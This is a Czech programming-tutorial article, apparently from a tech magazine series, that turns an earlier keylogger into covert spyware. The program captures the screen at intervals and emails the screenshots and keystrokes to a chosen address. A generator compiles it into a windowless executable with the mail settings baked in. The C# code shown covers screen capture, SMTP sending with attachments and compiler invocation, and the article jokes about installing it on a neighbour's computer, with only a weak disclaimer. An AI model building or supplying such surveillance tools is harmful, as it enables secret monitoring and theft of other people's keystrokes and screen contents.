Staňte se programátorem: Špion 2.0 sleduje dění na ploše

Před týdnem jste si s námi napsali jednoduchý keylogger. Dnes jej rozšíříme o snímání a zasílání obrazu z monitoru a speciální generátor, který sestaví špiona podle vašeho gusta.

Minule jsme si ukázali, jak naprogramovat jednoduchý keylogger snímající stisknuté klávesy, které byly následně odesílány na vybranou e-mailovou adresu. V dnešní části přidáme keyloggeru navíc jednu funkci – snímání obrazovky vždy po určitých časových intervalech. Zdrojový kód keyloggeru si navíc budete moci sestavit speciálním generátorem, aniž byste spustili vývojové prostředí Microsoft Visual C#.

A proč generátor keylogerů? Nastavení programu bude plně zakomponováno do zdrojového kódu, aniž by jej musel keylogger psát do INI souboru nebo registrů. V generátoru tedy pouze nastavíte potřebné parametry (e-mailová adresa, smtp server, počet odesílaných kláves, časový interval při snímání obrazovky) a kód se s nastavením přeloží již do běžného spustitelného programu. Snadno si tak vytvoříte různé keyloggery pro různé situace nebo počítače. 

generator.png  mujspion.png
Samotný keylogger žádné grafické rozhraní nemá, program ale můžete elegantně nastavit pomocí generátoru
A nakonec spuštěný MujSpion a odezva ve Správci úloh – během sejmutí obrazovky a zasílání spotřeba RAM vzroste

V dnešním článku si ukážeme tyto dovednosti:

  • Práce s regulárními výrazy (ověřování validity e-mailové adresy)
  • Spouštění procesů (spouštění .NET kompilátoru)
  • Snímání obsahu obrazovky
  • Odesílání e-mailových zpráv s přílohou

Ve zdrojovém kódu  budou parametry našeho programu zastoupeny makry (např. „[mail]“,“[smtp]“ apod.). Těsně před kompilací pak generátor tyto řetězce nahradí podle vyplněného formuláře. Generátor zároveň zkontroluje, jestli e-mailová adresa odpovídá správnému formátu. K tomu poslouží porovnání s tzv. regulárním výrazem.

Zpracování regulárních výrazů

Regulární výrazy slouží k vyhledávání a úpravě textu podle speciálního vzoru. Lze je použít třeba tehdy, když potřebujete v textu vyhledat nějaký řetězec, který může mít více variant, ale má nějaké společné znaky - odpovídá společnému vzoru. Pokud tedy budete v delším textu hledat třeba e-mailové adresy, prostě si napíšete vzor xxxx@xxx.xxx a funkce pro zpracovávání regulárního výrazu už v textu najde jak pepik@seznam.cz, tak filip@hotmail.com. Syntaxe regulárních výrazů je ale ve skutečnosti mnohem složitější.

Regulárním výrazům je věnován i kvalitní český zdroj regularnivyrazy.info

Regulárních výrazů se pro jejich zdánlivou složitost začátečník zpravidla lekne, pokud jsou vám ale doposud cizí, určitě se je naučte, usnadní vám totiž práci s texty a ve skutečnosti jsou úplně jednoduché. Nevýhodu je snad tedy pouze skutečnost, že dnes existuje více implementací, z nichž každá používá jinou syntaxi a že je třeba je používat s rozvahou, velmi složité regulární výrazy jsou totiž zpravidla náročné na výpočet, což je znát zejména u webových skriptů. RV jsou v každém případě součástí implementace téměř každého pokročilého jazyka včetně C#. 

Regulární výraz je v prostředí .NET Frameworku představován instancí třídy System.Text.RegularExpressions.Regex, která jako argument svého konstruktoru očekává zadaný regulární výraz. Porovnání s textem a tedy i vyhledání podřetězců vyhovující výrazu provedeme pomocí metody Match, která vrací instanci třídy Match představující vyhledaný řetězec. Ke zjištění, zda byl nějaký odpovídající podřetězec nalezen, slouží vlastnost Success typu bool, která vrací true v případě, že bylo něco nalezeno. Nalezený podřetězec můžeme následně získat pomocí vlastnosti Value.

Složité? Podívejte se tedy na praktickou ukázku, která zkontroluje, zdali je formát e-mailové adresy správný, porovná jej totiž se speciálním vzorem.

// syntaxe regulárního výrazu ve Visual C#
Regex reg = new Regex(@"(\w{1,}\.\w{1,}|\w*)@\w{1,}\.\w{2,3}");
Match m = reg.Match(textBox1.Text);
if (!m.Success)
{
  MessageBox.Show(m.Value +" není validní e-mailová adresa!");
  return;
}

Spouštění procesů

Spouštěné procesy jsou představovány třídou System.Diagnostics.Process. Před jejich spuštěním však musíme přiřadit vlastnosti StartInfo.FileName cestu k aplikaci, jež má být spuštěna. Některé aplikace mohou být spouštěny spolu s argumenty, které nastavíme vlastností StartInfo.Arguments. Proces následně spustíme metodou Start. Ke zjištění, zda proces stále běží, či je již ukončen, použijeme vlastnost HasExited:

// Načte zdrojový kód
File.WriteAllText(textBox3.Text,zdrojak);

// Vytvoří parametry kompilátoru
string args ="/out:\"" + textBox4.Text+ "\"/t:winexe\"" + textBox3.Text +"\"";

// Připraví proces spouštějící kompilátor
Process p = new Process();
p.StartInfo.FileName = slozkaDotNET;
p.StartInfo.Arguments = args;

// Spustí proces
p.Start();

// Dokud proces nebude ukončen, bude v labelu vepsáno "Kompiluji"
while(!p.HasExited)
{
 
this.label10.Text = "Kompiluji";
}

Snímání obsahu obrazovky

K vytvoření snímku obrazovky nám poslouží následující jednoduchá metoda PrintScreen. Všimněte si, že polohu a rozměr výřezu určíme podle PrimaryScreen, náš snímek tedy bude obsahovat pouze obraz primárního monitoru.

screenshot1.png  screenshot2.png
A v této kvalitě vám snímky dorazí do poštovní schránky – s čímpak si to vetřelec zrovna hrál?

void PrintScreen(string cesta)
{
 
// Vytvoří bitmapu o stejných rozměrech jako primarni obrazovka
  Bitmap bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
                                                                                    Screen.PrimaryScreen.Bounds.Height,
                                                                                    PixelFormat.Format32bppArgb);

  Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);

  // Překopíruje obsah obrazovky do bitmapy
     gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
                                  Screen.PrimaryScreen.Bounds.Y, 0, 0,
                               Screen.PrimaryScreen.Bounds.Size,
                               CopyPixelOperation.SourceCopy);

  // Uloží bitmapu do JPEG souboru
  bmpScreenshot.Save(cesta);
}

Odesílání e-mailových zpráv s přílohou

Třída System.Net.Mail.SmtpClient je určena k odesílání e-mailových zpráv.Argument konstruktoru této třídy představuje název SMTP serveru, na který má být zpráva doručena. Ta je představována třídou MailMessage. Příloha zprávy je představována třídou Attachment a ke zprávě ji přiřadíme metodou Attachments.Add. Nakonec e-mailovou zprávu odešleme pomocí metody Send, která ji pošle tak, že program čeká na její odeslání, nebo pomocí metody SendAsync, která ji pošle asynchronně, což znamená, že odesílání zprávy poběží paralelně s programem.

seznam_posty.png
Interval pro zasílání obrázku plochu volte s rozvahou, pokud totiž nebudete moci keylogger vypnout,
snadno se vám zahltí poštovní schránka; JPEG soubor zároveň zabere několik set kilobajtů

public static void OdesliMailSPrilohou(string adresa, string hostitel, string odesilatel, string subject, string soubor, string telo)
{
 
// Třída System.Net.Mail.SmtpClient slouží k zasílání mailových zpráv
 
SmtpClient smtp = new SmtpClient(hostitel);

  // Vytvoří e-mailovou zprávu
  MailMessage zprava = new MailMessage(odesilatel, adresa, subject, telo);
  Attachment priloha = new Attachment(soubor);

  // Přidá přílohu
  zprava.Attachments.Add(priloha);

  // Odešle zprávu
  smtp.SendAsync(zprava,null);
}

Obrovské možnosti vylepšení

V dnešním článku jsme tedy původní keylogger povýšili na screenlogger a ukázali si, jak si lze vytvořit vlastní sestavovač .NET programů. I proto dnes nezískáte k vyzkoušení již přeložený EXE program, ale pouze generátor, jeho zdrojové kódy a upravený kód keyloggeru v jednom CS souboru. Pokud budete chtít vylepšený snímač kláves a obrazovky využít, budete si jej muset přeložit sami pomocí našeho generátoru, pomocí něhož si můžete sestavit EXE programy s různým nastavením pro různé situace.

Zdrojový kód prošel mnoha změnami a vylepšeními, je však plně komentovaný, snadno pochopitelný i pro mírně pokročilého programátora a těší se tak na vaše úpravy. Z jednoduchého keyloggeru si můžete postavit třeba robustní software proti krádeži, který v případě ztráty přenosného notebooku bude po připojení k síti na předdefinovaný e-mail posílat výstup z klávesnice, obraz z monitoru a případně IP adresu pro snadnější lokalizaci ukradeného počítače.

Pokud máte jakékoliv připomínky nebo nápady, jak zdrojový kód ještě vylepšit, zapojte se do diskuze pod článkem. Pokud jste už některý z projektů našeho seriálu upravili a rozšířili o nové funkce a chcete přispět do našeho seriálu, pošlete nám kód na tento e-mail a my vaše úpravy zveřejníme v některém z příštích článků.

Nezneužívejte program, nestojí to za to

Jistě některé čtenáře napadlo našeho špiona nainstalovat na sousedův počítač, rozhodně vám ale nedoporučujeme program zneužívat, jakmile jej totiž na cizím počítači tajně spustíte, nemusí pro vás být zrovna snadné jej vypnout a pokud nastavíte interval snímání obrazovky třeba na jednu minutu, do vaší poštovní schránky dorazí každý den desítky JPEG obrázků o dílčí velikosti i několika set kilobajtů. Náš keylogger slouží pouze k testovacím účelům!

Nakonec nesmí chybět ani slíbený spustitelný program a projekt. K prvnímu budete potřebovat nainstalovaný novější Microsoft .NET Framework, pakliže si budete chtít projekt upravit a sestavit, budete potřebovat bezplatné vývojové prostředí Microsoft Visual C# 2008 Express Edition.

Diskuze (23) Další článek: Vyhlášení soutěže o disky Verbatim

Témata článku: , , , , , , , , , , , , , , , , , , , , , , ,